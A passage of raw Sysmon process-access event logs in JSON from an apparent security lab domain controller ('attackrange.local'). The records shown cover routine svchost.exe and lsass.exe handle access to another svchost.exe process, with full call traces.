C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+1fe59|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+1fe59|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|c:\\windows\\system32\\lsm.dll+1ff57|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|c:\\windows\\system32\\lsm.dll+1ff57|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 